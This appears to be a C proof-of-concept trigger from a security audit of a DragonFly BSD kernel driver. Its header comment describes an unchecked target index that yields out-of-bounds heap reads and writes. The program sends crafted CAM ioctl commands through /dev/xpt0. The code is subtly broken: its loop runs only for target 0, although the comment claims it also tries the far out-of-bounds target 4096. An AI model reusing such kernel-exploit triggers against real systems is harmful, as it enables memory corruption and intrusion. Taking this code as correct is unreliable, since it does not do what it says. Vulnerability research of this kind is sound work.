/* DF-3658 trigger: attempt XPT_GET_TRAN_SETTINGS with an out-of-range target
 * via /dev/xpt0 CAMIOCOMMAND.
 *
 * Bug: isp_freebsd.c:4585/4616-4623 (XPT_SET_TRAN_SETTINGS) writes
 * sdp->isp_devparam[tgt].{goal_flags,goal_period,goal_offset,dev_update} and
 * :4664-4673 (XPT_GET_TRAN_SETTINGS) reads the same array, and :4649 reads
 * fcp->isp_dev_map[tgt], all with tgt = cts->ccb_h.target_id and NO bounds
 * check. sdparam.isp_devparam[] has MAX_TARGETS=16 entries (ispvar.h:195);
 * fcparam.isp_dev_map[] has MAX_FC_TARG=512 uint16_t entries (ispvar.h:485).
 * A crafted CCB with target_id >= 16 (SCSI) / >= 512 (FC) gives an OOB
 * wild read (GET) and OOB 16-bit writes (SET) at attacker-chosen offsets
 * from the sdparam heap allocation.
 *
 * On this guest this is unreachable two ways over: (a) no QLogic HBA => no
 * isp bus in CAM, (b) DragonFly's xptioctl() CAMIOCOMMAND whitelist does not
 * include XPT_GET/SET_TRAN_SETTINGS, so userland cannot inject the CCB at
 * all. In-kernel CAM clients use bounded targets, so this is a hardening
 * finding (mirror of DF-3574 sym / DF-3609 ncr).
 */
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/scsi/scsi_pass.h>

int
main(void)
{
	union ccb ccb;
	int fd, rv, tgt;

	fd = open("/dev/xpt0", O_RDWR);
	if (fd < 0) {
		printf("open(/dev/xpt0): %s\n", strerror(errno));
		return (1);
	}
	for (tgt = 0; tgt < 4096; tgt += 4096) {	/* 0 and 4096: far OOB */
		memset(&ccb, 0, sizeof(ccb));
		ccb.ccb_h.func_code = XPT_GET_TRAN_SETTINGS;
		ccb.ccb_h.path_id = 0;
		ccb.ccb_h.target_id = tgt;		/* isp would index [4096] */
		ccb.ccb_h.target_lun = 0;
		ccb.cts.type = CTS_TYPE_CURRENT_SETTINGS;
		rv = ioctl(fd, CAMIOCOMMAND, &ccb);
		printf("XPT_GET_TRAN_SETTINGS tgt=%d -> rv=%d errno=%d (%s)\n",
		    tgt, rv, errno, rv ? strerror(errno) : "reached SIM");
	}
	close(fd);
	return (0);
}
